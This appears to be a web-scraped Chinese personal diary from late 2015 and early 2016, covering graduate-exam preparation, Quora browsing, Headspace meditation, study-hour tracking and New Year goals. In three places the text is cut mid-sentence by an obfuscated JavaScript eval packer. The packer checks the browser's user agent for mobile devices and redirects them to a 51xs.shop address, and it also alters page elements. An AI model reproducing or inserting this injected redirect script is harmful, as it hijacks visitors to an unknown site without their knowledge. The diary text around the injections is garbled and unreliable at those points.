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昨天还有一个问题：“有没有人因为Q而改变了人生？”有一个2015年2月开始用Q的女生的回答简直道出了我的心声：找到同类，我并不孤单；开阔视野，有了不一样的想法和观点。Q给了我太多！ 还有一个关于“随着你老去才意识到的事？”她列出的好多点都戳中我心，我正在做的和我还没想到的都让我更加坚定的自己的路。其中第五点，选择有意义的职业，比如科研，当你回顾人生的时候你会感到自己为这个世界贡献了一点力量。有些人只看到搞科研要天天做实验、写报告，待在电脑前，他们认为这很无趣。可是，我想到的是我面临各种挑战，站在人类未知的前沿，我挑战的是人类知识的尽头！而写报告只是事业的一部分，是为了把我所发现知道的传播出去，和所有的科研人员一起一点点扩充这个圆的半径。以前我总觉得自己是被逼上这条路的，可现在想想，或许这正是适合我的路。以前我从未想过激发自己的潜能，那么我的天性到底是什么？又有什么天赋？大学工程地质的老师对我说我适合做科研，他是唯一一个对我这样说的人，我从未当真，直到今天，我在想我平日所有表现：我喜欢弄清现象的本质（比如讨论我父母的性格的由来）；喜欢求真（比如和大山讨论“诺奖”的问题）；喜欢探索未知和联系（比如发现一个问题不懂就会去查，而且要把相关知识一起扩充起来）；热爱挑战！这一切都是我最自然的表现。探索自己、发现自己，真是有趣。 Q上又一问题：“怎样对付看了很多书的女生？”最妙的回答：“要她！一起分享喜爱的事物和想法，用一生去读懂她！”啊！我的理想型就是这种充满思想和智慧的人，一个有趣的人，值得一生相伴。 以上我不确定记全了自己的全部想法，但是我想说的是，这又暴露了我极低的克制力，说好的一天一问题……再加上昨晚……人生啊！我要努力学习和改正的太多了！ P.S.越发感到自己的段位低……先学好英语，再谈其他！我最近思想爆发！ 中午在被窝里为了两个酸臭酸臭的屁就爬起来拉屎做卷子了，本想先补上遗漏的点，结果还是先做了水力学卷子，现在不太想学习，那就写日记。一是关于和朋友保持联系的问题。Q上说，若是一个保持联系的朋友都没有日后会孤独，我想也不必多，二人足矣：J、浩子，或许还有二师兄和向阳哥哥，我会定期保持和他们的联系。 午睡没有成功，我最近仍在纠结ihours统计项的问题，总算想通。ihours！只是为了帮助我管理时间，因为有数据，可以让我了解到在必须做的事上我到底是否努力，也帮我更好地坚持，做持续努力，所以只要有我需要投入主要精力的项目和必须通过帮助才能坚持的项目即可，不可能将我的所有时间安排具细无遗地体现，这只是方法，所以就不用太纠结了，像平日我随便干点什么都在学习，这时间怎么记？ 这里有两件事我想记下来，第一次去旅游是北京，住的宿舍床上边有用莹光笔画星星，没想到高中后我在自己房间的墙上贴满星星。第二件事是大二博讲团，在博物馆一层我的讲解亮点是尼亚加拉大瀑布（Niagara falls），没想到大二假期我真的去看了！以前我记过小时候的愿望总会成真的事，这便是念念不忘，必有回响吧！ 刚才又不小心删除了网页，是讲哈利·波特朗文制作人： Stephen Fry，他是Q的大牛里我唯一有接触过相关的人，我听过他的朗文，虽然仍不确定是这个人……但除了他，Q的大牛我没有一点认知……好浅薄……忽然发现，帮我更好理解了马原的“事物是普遍联系的”这一原理。因为我是世界普遍联系的一环节，然后我通过事物间的联系遇上了Q，为什么又忽然想到可知论…… 我发现其实我的中文汉字学的不太好，很多字不认识，比如“佚名”，至今不懂，刚查，已懂……把中文学好同样重要。 113.家里蹲考研（13） 2015年12月16日 星期日 晴 很多天没有写日记了，两天的模拟考结束，除了数学，一切正常。今天上午我真的给了自己一巴掌，很痛，痛的麻木，等那阵麻全部消退，我再已做不下去。若是今年我仍旧未上，我心服口服，太差，数学基础太差，英语不够好，专业也不够好，还是不够好，还是没有准备充分，看起来是花了不少时间。 这些天看Q的很多想法因为没有及时记录都忘了，现在把有隐约印象的东西写下来。关于学习方法，这么多年，我仍未能使用正确的学习方法，凡事都是讲究方法的！我打算把数学当作是事业的一部分来努力研究，工科生，这太重要！对于教育有很多的想法，若是只发展经济不重视教育，那后果是怎样？当今的我们精神已远跟不上物质了，这里说的当然是整体水平，不论哪个年代，永远有富人，还有懂得幸福的人。 关于每天要做的事：早起早睡、锻炼身体、阅读、感恩，只要愿意人生总是充时而美好，懂得越多说明经历越多，宁愿不懂太多吗？必须经历的是躲不掉的。 前天看了《狮子王》也没写影评，不至于惊艳，但仍旧算是好作品，让我记得更深，面对心肠歹毒之人是不可以心慈手软的，因为他转身就又将你置于死地。我以前总是天真地在明处指挥别人，自己却不设防，现在处在不太和外界接触的环境里，也不知出去后又怎样？ 心血来潮查看印度攻略，被这个神奇国度深深吸引。这个世界之大，真不能作井底之蛙。《史记》是要慢慢看的，历史长河有多少趣事。又偶然刷到考古，只感叹自己知之甚少。这世界像是一张巨大的网，丝丝相连，人这一生，要有胸怀天下的气度，认识到了自己的不足就仍有机会去弥补。这一年对我来说是幸事，可惜还是有安排不够好的地方，来年我可以再改进。人生无止境，我决不可以气馁。我允许自己有一刻的偷懒，但绝不可以放弃前进。或许我向前很慢，十年、二十年、一生，终有一天我会到达。 最近可以感觉到自己视力下降，有点担心，别的事可以慢慢来，但健康永远是第一位的。 对于我过去犯下的那些错事我要渐渐学会释怀。别人对我也犯下过错事，我早已不计较了，或许他们也不计较我了。人总是要向前看，若他们仍对我的伤害念念不忘，我除了深感抱歉外也无法弥补了。若我自己实在忘不了过去，便当作是对自己的警醒，以后不再犯了！切记，为人谦逊有礼，切不要自以为是，不可以低看他人，待平常人以平常心就好。但也记住，不随便与人交心，不把所有人当好人，这点我是吃了苦头的，不要再傻了。 2015年12月22日 星期二 雨 没剩几天考研了，也见我有多紧张，反而是好像打算再考一年一样……确实这样不太好。 昨晚在刷情趣用品，感觉自己真是一个有生活情趣的，而且态度越来越正。中国很多人对于“性”这个话题还是非常低触的，即使内心也好奇的要死。我是那种好奇、有兴趣，也正确对待自己对性的诉求的那种人。 昨晚也进一步想通了一些事。大山和我的态度都是，一生只想和一人发生关系。我们觉得和多人乱来是很脏的，这一点我们仍未改变。同时，我们认为，男女朋友发生关系不是什么可耻的事。情到深处，又是正常男女。那种认为女生和男友发生关系就是放荡的人是可笑的！但是这里有一点，我有处男情节，可是！若是一个男生很优秀，他和他的前女友相爱，发生关系岂不很正常？大山说他没有处女情节，看来，他的思想比我成熟健全的早，所以重点不是“处”，而是在每一段感情中这个人是否专一。当然，能够从一而终是最好。这也算解开了我一心结。 这又让我想到关于我过去的问题。要给每一个人改过的机会，我不去记恨什么，可是这么多年没有感情培养，虽是不恨，谈爱也不可能。这又是我想通的和我父亲家人相处的问题。 我意识到过去的无知，说明我比过去进步。不去和他人比较，只为努力有更高版本的自我。这似乎又让我轻松了许多，每当和别人对比，我总是悲伤感叹，感叹自己不够努力，能力不足，有时甚至神伤许久。可感叹过后也未能怎样。比如我老是说努力的人一天学习十几小时，可自己仍过着自己的生活，所以对比无用。然而，我若只与自己比，今年是我人生中最努力的一年，不论怎样，进步还是很大的，这样一想真是开心。我反正是不能够一夜间变得勤奋刻苦的，所以就一年一年，一点一点慢慢来吧！今年比往年都好，明年又比今年好，一年更比一年好！记住，只与自己比！ 说到这又不得不提ihours，这确实只是为了帮助我更加努力的工具，等到我已养成每天勤奋刻苦的习惯后，也就不再需要这种用数据评估我努力程度的制度了。估计就还要个几年的…… 今天仍是刷Q得到的新启发，每天要学点新东西，那刷Q和知乎就是干这事，包括由此延伸的刷网页。但是我越来越发现，网上的资料也是有限的，有时我刷尽网页仍有我想知道却未有答案的事，也许，我该把每天狂刷网页的时间也统计上，做一下限制。 今天凌晨，隔壁中学有三个学生来教学楼探险，男生大声学着鬼叫，女生显然是害怕了。他们的手电筒光晃进了我家阳台，我说不清自己一时间的感受，只是想这种年少时光真是匆匆，还有，探险可以，但不该影响到学习……假期、周末都可以。 许多事会一点点想通，活在当下！ 忽然想到关于耳鸣的事，我该是很小年纪就有了，因为在我印象中，住在老房子时，我躺在床上感到有电台调频时听到的杂声，即使我捂住耳朵也去不掉，于是我只好对自己说，电台又开始调频了，虽然很烦，但时间久了也就入睡了。这只是一个记忆片段，应该只有一段时间发生过，现在想来，应该就是耳鸣。 2015年12月23日 星期三 雨 我简直就是一xx（这里骂一句不能描述的脏话，和智商有关），这几天大考在即，结果却没什么复习的干劲。今天早上忽然想到，我复习不是为了考试，而是为了有更好的研究生入学基础，然后我欣然接受了这个绝妙的理由开始了上午算是愉快的学习～这，我是属于那种需要正当理由的人，为了考高分才不是什么正当理由，为了更好的学习才是我追求的人生真滞！话说，这种为了考试的复习历来让我不爽…… 昨天，在大神的建议下开始使用Head ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728180|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' space冥想，效果好的不行！调节有奇效！终于，终于，我的生活质量走上提升的正轨，我明明记得还有一点什么，但是我现在忘了…… 2015年12月24日 星期四 雨 最近拉屎的份量变少了，是因为吸收变好了吗？每次冲蹲坑的时候，坑里总是会有残留，但最近几天我用小半脸盆的水很巧妙地解决了这个问题。今早我忽然想到了早先在知乎上看过的一个问题，“如何处理蹲坑里的残留和卡在坑里的屎？（大意这样），然后那个工程师的精彩高票答案就是围绕“如何用一瓢水”解决问题的，很显然，我忘了这个答案，但自己总结出相同经验后在今早又想了起来，哈哈！有趣。 虽然今天只是第三天冥想，但整个人状态都轻松了起来，我记起昨天忘记的那个点了！就是关于如何冥想的问题，以前我也曾尝试过，但没有任何引导就自学开始是非常困难的。我又联想到《爸爸去哪儿》里大家去云南佛教学院，什么都没教，就让大家自己琢磨领悟着开始打坐，这对一般人来说真的很难……所以Headspace确实做的很好，通过语音指导进行注意力的转换，也保证了不会走神，重点是终于知道该干嘛了！ 现在想写写关于这几天冥想的感受，我会想到鸣人的仙人状态！随着注意力的转移我第一次体验到身体的微妙律动，这种感觉太神奇。第一天我只能感到呼吸时胃的起伏，但昨天开始我可以同时感觉到胃和肩膀的律动，也就是知觉范围被扩大了。从头顶到脚尖去依次感受身体的感觉，第一天、第二天，今天仍是感觉不到头、脖子和上身的感受，但是今天早上我可以发现顺着这种感觉一股暖流从肩快速冲到（速度是有冲这么快）指尖，从膝盖涌向（那种劲头又更温和愉悦）脚尖，像是体内的通道被打通了一样（像是一个一个的神经点在依次连续地愉快地轻轻跳跃）！这种奇妙的感觉令人兴奋不已。 还有对声音的捕捉，我发现自己的注意力竟可以如此集中！只是三天，我可以感觉到自己在冥想上的进步，还有英文提示！先前只是懂大意，现在对每一句每一个词领会的越来越多！还有在冥想之后的这种轻松愉悦的感觉，虽然现在一次只有10分钟！ 我以前从未倾听过身体的诉求，耳鸣算是身体的反抗了吧！像是在和自己的每一个细胞交流一样，我想这种感觉会越来越清晰。加上一条吧：身心健康，提升自我，享受生活，回馈社会。”身心健康是一切的前提和保证，提升自我是我一生的追求，和自己比！享受生活包括了亲情、友情、爱情的完美结合，加上个人的生活情趣，当然有物质体验！回馈社会是我心意的表达，三观正的表现哦！（这不是政治的答题模式么？！）冥想和健身，嗯，给了我很多惊喜！ 还有一个点，关于APP，我在查看Headspace时发现了中文类似软件，可是那个配色让我第一个想到的就是“鬼怪巫术”，令人害怕。我又想到知乎上讨论的国外和国内的情趣用品配色，国内那叫一个俗艳……也不知为什么，国内在很多方面确实是品味有点……low……Headspace在语音指导时“开始”作成了在起伏呼吸细胞的样子，真是可爱！包括素雅的配色，萌化的卡通，真是我大爱！ 114.家里蹲考研（14） 2015年12月28日 星期一 晴 还有几天就到2016了，2015年所有完整的周都过去了，考研也在昨天结束了初试。那么今天这篇日记就在后面做2015的总结吧！拖下去估计就写不了…… 先来记下近几天的事。12月26和27这两天考研还算顺利。不知是否之前有过连续两天晚上十点半就睡觉的经历，就算有，也是小学吧！啊！睡得很好，因为睡得早所以醒的早！居然，我拉屎的时间也提前到吃饭前了，从26号到今天都是，我和正常人的作息又近了一步！起床后就是冥想，现在又有了进步！在感受身体物理感受的时候可以隐约感觉到脸颊两缘和脖颈后两条线的酥麻，在感受呼吸的时候，昨天可以感觉到气息从鼻根大波浪般地匀速涌向胃部，今天早上已经可以感受到气息从鼻孔冲上脑门又向下传递直到肚脐！范围又扩大了！我和我的身体又更加友好亲密了～我倒是不怎么想记考研初试的事。 今天早上我对自己的旧物进行了初步整理，我真是……从小就喜欢在本子上写两个字然后不用……这个“小”，起码是小学开始的，那些十年没碰过的东西果断舍了，所谓之”断、舍、离”，人生进阶！大概清理后我又剪了手、脚指甲，洗头、洗澡，有一种对自己身心进行涤荡的感觉，整个人轻松愉快起来了。 关于2015的总结：或许是质量变引起了质变，2015年对我的人生是一个巨大转折，伴随着爆炸似的整体提升，我的人生迎来了新的高潮，不论是身理、心理、家庭关系，这在家的将近一年，会是我人生永远珍贵的回忆。 开始于2015年2月9日，到今天写日记的现在为止，也就是2015年12月28日，记录了306天，共1075小时，平均每周23小时，其中： “狂读数学”开始于2015年3月19日，共计550小时，坚持257天，占统计时间51％； “学好英语”开始于2015年2月14日，共计188小时，坚持234天，占17%； “考研水力学”始于2月9日，137小时，112天，13％； “考研政治”始于6月18日，62小时，71天，6%； “阅读”始于2月9日，58小时，89天，5％； “周记”始于3月1日，41小时，114天，4%； Harry Potter始于6月23日，21小时，24天，2%； Quora始于11月28日，11小时，29天，1%； “抄经”始于3月4日，4.5小时，8天； “冥想”始于12月22日，1.7小时，7天。 以上的统计肯定是不完全的，但有一定的参考价值，2015是我人生最努力的一年，可是，统计结果是我每天奋斗时间3.5小时，加上零碎未做统计的时间，撑死4.5小时一天。英语基础的学习没能做到天天坚持，阅读是后期断了，之前的日记里有提过，等等再具体讲阅读。刷Q和冥想是后期才开始的新尝试，对我帮助很大，所以，关于2016年的时间统计项，我这样打算：除“数学”，其他数据清零。每日的30分钟健身操和10分钟冥想分别作为统计项，这是我身心健康、自我提升的每日必须坚持的事。Quora和 Harry Potter都不是单一功能，除都是英语学习外，Q是每天接触新事物，HP是阅读，所以这两项也单独列出，Q应坚持每日，HP还兼听力训练的话可以每周几次这样。 看病回来，接着写。走在路上我忍不住开心地笑，太开心了！人生如此美妙～身体也开始进入正常调养阶段，之前那么多天的药只是准备阶段……我想到早睡早起的问题，至于到底有没有什么定点排毒我就先不管了，因为早睡可以早起，早起后感觉一天的时间便充裕了许多，所以，就为这，我也决定早睡早起。分为以下几个阶段： 早睡：11：00前，11：00-11：30，11：30-12：00，12：00后。 早起：7：00前，7：00-7：30，7：30-8：00，8：00后。 以上是最新的调整，欲速则不达，凡事都要循序渐近不是？因为这个没法用ihours统计，就记本子上啦！今年一年来，睡觉和运动问题已逐步改善，也就是预备阶段了，在2016要更好哦！ 然后便是阅读的问题了，我之前阅读的大多是文学作品，像小说、散文，很少涉及工具书，比如《如何阅读一本书》，通识类《百科全书》，专业类《说文解字》（分类可能不太准确……），那这种到底怎么归类呢？ihours统计不可能巨细无遗，所以我自己可能要想开点，不必太计较细节……只要是在学习就可以了。2015年至今我完成阅读的书是15本，那些看了一半的就算到明年去吧！人生至今完成阅读是150本这样。这里的阅读是以我现在的认识定义的课外阅读。 那么，我要以我现在的心理、身体、积累的知识为起点，开始新的征程！我还是在犹豫关于刷知乎，还有刷各种知识背景是否应记录时间，可是记录的话又似乎太过于零散。 关于英语，我要从听说读写入手，全面提升了！英语和数学是我的基础工具。 我想，从这次开始，给外教的邮件要坚持一月至少一次，写作是一部分，更重要的是我们的感情，该联系的人要联系！ 关于英语训练的分项我还没想好，还是说合在一起就好。看电影和动漫不记时了，算的是写评的时间。以前看过的影视作品未能及时整理写评就让它们过去了，从现在开始，我的生命全记录！ 感觉思路被打乱了……停笔，想起再来！ 2015年12月29日 星期二 未知 天啊！我身上到底发生了什么？现在是早上七点十五，我已经完成了冥想、拉屎，还坐在书桌前吃了一小堆松子（饿了……不过很享受这个过程）。从考研第一天起，我早上就在七点前起了，因为没有考试压力反而更开心自觉了？反正能早起是好事。今早要开始着手写邮件给外教。 昨晚和父母亲聊天，我们提到了贾家人的“有才”，各人身怀一梗，爷爷的“万分”，奶奶的“路上遇到三个人”，三伯的“大队干部家的女儿”，提到这三个梗，我们三人笑的前俯后仰，这是只属于我们仨儿的默契，不是吗？我也真正学会了“梗”的含义及其用法～ 一时间有太多的书想看，但一定是先完成《如何阅读一本书》才好，这是磨刀不误砍刀功！昨晚只是看了第一小部分“第一章阅读的活力与艺术”受益匪浅，我也理解我爸为什么在书上各种“涂写”，确实，这算是一本工具书，就像我们读课本，忍不住要在上面画线！不过，我爸和我的点一点也不同……对于他标注的句子我毫无感想。 接下来说昨晚我看的部分，我也用铅笔做部分标注，很多地方是因为对我的现状和想法做出了比我更好的描述和表达。比如翻译家赫明义写的序中提到“我在阅读的路上，思索固然很多，困惑也多，想清楚的有一些，想的模糊的更多。”精确地表达出了我的思考现状，况且，这种状况又何止发生在阅读上？发生在我生活中的每一个细节，但这起码说明我一直在思考不是吗？ 早饭归来，继续！先谈到的阅读的主动性，当然是越主动越好，这个基本点我算满足，书中将阅读目标分为两种：“为获得资讯而读，以及为求得理解而读。”书中提到的：“这本书中的讯息只是将你还没读这本书之前，你们便共同了解的东西传达出来而已”，我觉得很多时候这种情况是让我非常高兴的，这种高兴应包含：一、找认同，感到原来我这样是对的，或原来我不是单品；二、感叹世间的联系之奇妙，书的作者和我跨越了时空在思想上相聚。可是，有的时候我却会认为，我已知觉，这书对我无意义，甚至认为这书的层次太低，比如《意林》，我总觉得写的文章还不如我……至于为什么产生这种差别，我不懂……像村上村树的《国境以南，太阳以西》我便强感共鸣，而不是，我已懂，无需再看，这本书反而让我有了更深的思考。 书中提到：“一种是读懂的东西，另一种是必须读的东西。”我的阅读水平应是停留在前一种读物上，后一种读物我当作任务来做，做了，但显然效果不是太好。但阅读确实已成为我的习惯，即使坐在那里休息，眼睛疲劳，我只要瞥见了文字便忍不住读起来，不论是标签、广告或文章。 终于，我在书中找到了关于读了些许书，脑子却仍不开窍，和没阅读的人无差的解释（关于这个问题，我大学某舍友，是遇到的第一个让我思考这问题的人：都说看书可以提升，为何她看了不算少的书后仍是不开化的脑？），书中是这样写的：“读的太广，却读不通，希腊人给这种集阅读与愚蠢于一身的人一种特别称呼，这也可运用在任何年纪、好读书却读不懂的人身上。他们就叫“半瓶醋”（Sophomores）”，我释怀大笑，如此有趣！ 最后是最重要的：经济指导的学习与自我发现的学习。多年的学校生活是前者，我习惯于也依赖于这种学习方式，也就是我在高数上失败的原因，更糟糕的是，即使指导型的学习也应是“辅助型的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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（回到上午打断的日记）结果12.28号上午整理旧课本，发现初中历史第一章便是“六国毕，四海一”，讲的是秦朝大一统，全都是我学习过的知识，可我却什么都记不得了……我认为这和我当年学习时不做“自我发现”有一定的关系，只是死背，未加理解，考过便忘了，应试教育就是这样吧！所以一旦我离开老师，往往学习效果就大打折扣，这就是为什么高中不听课靠自学撑不住，大学靠自学成绩不够好，专业学的不够好的重要原因。而后的研究生、博士对于这种能力更是不言而喻，所以在这种时候我开始这本书的学习，不得不说是一种幸运。 忘了一件事，今天刚开始尝试kindle，体验一般……或许是没习惯……试用了Q上大神推荐的Mendeley，不得不承认苹果的各种应用棒呆！M的话应该是日后开始论文的利器！勇于尝试，不下水，永远学不会游泳。 2015年12月30日 星期三 多云 刚帮爸爸包装了一份礼物，感觉自己棒棒哒～暗色泛银光的酒红，配上大朵牡丹的暗纹，低调奢华，是我最喜欢的包装。 昨晚一家人还在商量从今早开始跳操，很显然是失败了……早起后冥想、锻炼身体、写日记，感觉调整成这种安排最理想。今早的冥想因为想法乱飞，效果没有之前好，不过每天冥想让人好舒畅！对我这种思想乱飞的人，学会管理和处理自己的想法太重要了！接下去的时间一定要带爸妈去检查眼睛，尤其是我妈！家里的旧电子产品也应该尽快处理一下，还要去看牙！事情要一件一件做，欲速则不达。 我对于娱乐八卦的爱看来仍未消减，重点是人，我对任何一个可以引起我注意的人都有无穷尽的好奇！昨晚刷到权志龙和水原希子，水原希子是我之前就算关注的人，我觉得她特别，那种独一无二很能吸引我注意，***这个人就让我不感冒……但我仍会看看她的八卦……去查了基本资料后，会觉得权志龙真的是很牛的人，可是我在想，我知道类似他这样许许多多的人之后又怎样？我不粉他们……呃……不过要不要试下他的歌？ 早上就能坐在这里把思想倒空一次感觉好棒！写日记对我来说是对思绪的整理，感觉这样整个人都清晰明朗了起来！又是一个好方法，习惯养成起来！这里最后提一句关于拖延的事，太多事拖到后来就再也不会做了，所以，及时性！太重要，最近这么想整理就一定要做，加油！ 中午回到家后我坐在茶几上一边嗑瓜子一边第一次体验kindle，脑子是空的，看了村上村树的三篇短篇，我发现真的没法巨细无遗地记下看的所有东西。你说短篇怎么算？记个大概吧！《飞机》、《出击面包店》、《电视国民》，我不知是因为文章中透出的迷惘气息使我迷惘，还是我的失神使得这三篇短篇在我读来迷茫。《飞机》中的一句话：人心似井，不知多深，只能从偶尔浮上来的物体去猜（大意）。至于后两篇，我没太懂，真的，像是文字从我眼前飘过。 我今天从Y小区走到家，爬了福山，又从火锅店走回来，这路程走的，我现在觉得累了。晚上看了《加勤比海盗2》，重温经典，却说不出太多了。也不知道这几天到底在忙什么，走来走去时间便过去了。手机里还留着9月1日的截图，古人九雅：“寻幽、酌酒、抚琴、莳花、焚香、品茗、听雨、赏雪、候月。”这份清雅，现如今是太难了。 似乎有很多东西要写，似乎又写不出什么了。 115.考研家里蹲（15） 2016年1月1日 星期五 未知 昨晚后来和妈妈聊天，结果却忘记关电热板，空气中冷凝出的水打湿了另一本本子的塑料封皮，另一半封皮搭在右边的日记本上，纸湿了。我又把本子倒过来用余热把它烤干，或许，早上我在快六点就醒来也有为这个原因吧！幸运，未把电子产品在上面！ 一醒来便有很多想法，必须把它们整理清空一下。今早的冥想开始可以感受到背部两侧的感觉，体验呼吸，起伏的韵律延伸到了脖颈。Andy说这是学会管控自己的想法，冥想确实让我感到舒心，感恩！让我接触 Headspace的Q上大神，还有Any～可以开始记昨天搁置的事了。 昨天一天的主要任务是“整理旧电子产品”，以手机以主。真的做起“断、舍、离”来并没有那么轻松，手机里留下的照片、通讯记录、短信……大山说这些手机是手机发展史，从我初中用的黄屏小灵通，三星滑盖彩屏，酷派触屏智能机……到最后现在用的苹果5s，这些手机承载了太多岁月。没能及时处理是很大的错误……这也算是历史欠帐吧！最后，全部清掉卖了300块！加上清理后的心情舒畅，更加坚定了我整理下去的决心！除了手机，复读机、MP3、MP4、最老式的电子词典也处理了。在傻瓜机里找到一卷胶卷，可县城却没人再洗胶卷了……那台数妈相机也被“嫌弃”。我一方面感叹时代的变迁，另一方面，我所用过的零零总总都是父母给我买的，都是那个时代我家所能承受的最好的东西，这便是爱，宠爱！多年来我一直是这样受宠却浑然不知，我是太傻了…… 昨晚看《加勒比海盗》只到一半，我无比感叹伊丽莎白的智慧和勇敢！杰克、威廉，还有伊丽莎白，他们三人的智慧让我叹服！这种重温经典的感觉，好棒！ 说好了2015的事，来说说对于2016，新的一年，写下目标和期望，ihours的数据已经清零，既是决定从头开始，以2015以前为基础，就要加油！大山说的对，现在说的努力是在主动状态下的努力。今天凌晨安排好了最基本的统计项，和之前写的有差别，因为没法二层分类，所以太具体的分类会使统计更加混乱，所以大部分项都是大项。那么今年，平均每天除了“健身、冥想”，应达到4小时的主动学习，比去年每天多0.5小时；课外书至少要有30本；每月至少有22天早睡；每月至少有25天运动半小时以上，间隔不超过1天。当然坚持“天天”是目标！以上所有，“天天坚持”都是努力的目标！ 我希望自己的2016身体恢复，变更好！更努力、更加充实！自己让自己越来越满意！英语水平上升一个台阶，起码到考研阅读全无障碍这样！数学基础更好，做数一卷可以考到110或120！专业的理解有加深，可以有基本概念的思路和框架！体重达到并保持到98斤（49千克）！腰臀比可以达到0.69！（不行就0.7吧）可以继续保持昂扬的斗志，乐观的心态！带父母开始完成我所计划的第一件事，开始带父母去“玩”。这里插播，关于身体，身体好脸色就好，最近在我脸上又出现了多年未见的红晕（记得上初中时候冬天的下午我脸色巨好！），这是可喜可贺的大事！也是就除了气质变好，皮肤也好了~更美啦！读更多的好书！有更多更棒的点子！哈哈！我一年比一年好！2016，我来了！ 2016年1月3日 星期日 晴 早上四点五十多被惊醒，仿佛那哀乐就是在我耳边奏响的，那还是小时候住在古城路那边常听见的。多年未听，忽然想到等我死后便什么也不知道了，那么在我还活着的时候更应活的精彩！ 这几天，我疯狂想学习，想读书！从考研初试后到现在，从未有闲下来的时候，反倒觉得休息不够。一不留意，没有学习时间的一天便过去了，所以我脑子里时时想着要去学习的事！这种脱胎换骨的充实感令人满意。 每天早起先把我脑于清空一下，让我心里舒畅多了！昨天和今天的冥想我可以感觉到身上不舒服的地方了，昨天是左边的蝴蝶骨，今天是左耳，似乎是在体会全身物理感觉时，有一个地方的感觉特别突出和尖锐，好啦！Andy开始收费了，不过我打算把免费的10天再好好练习一下，然后再谈付费学习的事，不过仍是感恩Headspace的。 昨天外公外婆出来吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737085|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了午饭，挺愉快的。下午是重点戏，整理我大概是5到9岁的画，和柴火间一堆的旧物。非常感谢父亲大人帮我保留下了这些宝贵的资料！我先是挑出了我觉得有必要留恋的部分画作，拍照之后都卖了，我小时候的画还是很不错的，有农村生活为主题的：割胶白、喂鸡、锄地、果园丰收；有各种想象的：坦克飞机、宇宙飞船、星星和太阳月亮玩耍；有各种活动的写实：喷泉、菊花展、元旦、闹元宵；特别喜欢的设计衣服；各类公主王子主题；小洋房和优渥的生活享受等等……有几幅特别棒的画，一是我画的外婆家的全家福；二是画的我爸的头像；三是一个小女孩骑在龙上飞；四是一个小博士，哈！我从小便期待公主王子般的美满爱情，幸福的家庭优越的生活，还有高远的理想～昨天刷看到一句话：“Your ideas will buy your future.” 超级喜欢这句话，小时候写不来日记，画画便是一种输出。我内心充满兴奋与感激，这是我第三波的大整理了，仿佛整个人都越来越轻松了起来。 昨晚大山临走之前我们聊了很多关于我们后续努力的事，为我们的未来共同奋斗，这是我想要的最棒的爱情！ 我又进步啦！至少Harry Potter第一部的第一章只有零星几个单词不会～考试结束后在HP朗文上折腾了很多时间，最早的文体丢失了，真是可借。太久没看第一部有些细节都忘了，美国版和英国版果真有些用词有差，我觉得非常喜欢Jim Dale的朗读，就喜欢这种极富感情的东西！再看第一章有一个点触动我，邓布利多说若是哈利在魔法世界，“他在不会说话不会走路前就出名了，在他没有记忆前就出名了，这足以冲昏任何一个男孩的头脑。你难道不觉得让他远离这些成长直到他准备好可以接受自己的“出名”更好的多吗？”（我翻译的不好也没办法了……）嗯，老邓是个教育家！ 说到这我又忽然想到家里的书，我从未认真翻看过家里已有的藏书，却急不可待地买书，买kindle……是该整理一下了，把书都选出来。看一遍，再捐或卖，刚好用上《如何阅读一本书》新学的检视阅读，巨大的工程，加油！ 116.家里蹲考研（16） 2016年1月4日 星期一 未知 因为刷Q的原故，我开始了各种新的尝试，特别在APP方面，这种感觉太棒了！今早的冥想我又多听懂了一句，感受手臂的重量，那时我的注意力就真的只在两只自然下垂的手臂上，仿佛全身只有两只手臂存在，后来深吸一口气后，注意力又仿佛黏在了前额内侧，怎么都扯不掉，直到睁眼，注意力还是只能黏在那里……这种每天与身体的对话让我愉悦而放松，每天早上起来眼睛都不太舒服，但冥想后眼睛变得很舒服是最明显的改变。 《如何阅读一本书》确实是一本好书，我通过对照发现了自己的不足，也发现了自己已经做的很好的地方。经过启发，我又有了新的关于做读书笔记的方法：活页笔记，做完之后再装订起来，省去了每次拿个大本子的麻烦。 去年年底刚想到的给“看过的书分类”原来是很正确的方法，包括我无意识地概括全书内容（一般是给我妈推荐书）。不过看过《如何阅读一本书》里对典例书内容的概括，我知道自己的路还很长……我的语句太不优美了。 我以前看过的书绝大部分是小说类（活学活用的最主要分类），所以《如何阅读一本书》算是我第一次真正意义上的实用类书籍的阅读，没想到，它突破了我对这类书狭隘的“冗长无趣，只是有用”的浅薄观点，我太喜欢它了！有趣的很！书中提到可以用已看过的小说做阅读练习，我正有此意。而且我想通过检视阅读的方法（新学现用）把家里的书整理一遍，至少家里已有的书，我该看过才对！想到这，我便惭愧又高兴，惭愧的是从未去仔细整过家里已有的书，高兴的是我能意识到并要运用方法技巧去做了！这样的生活非常愉快～ We’ve all made new year resolutions and well, never actually followed them.这是昨晚在Q上刷新年话题看到的话，哈哈！Q上和我一样的人一把一把！新年的决心计划！（差点漏写了这个……）我看到大家在讨论这个，心里是热乎乎的～也许，我只是在寻找同类，不过今年，我会follow them！ 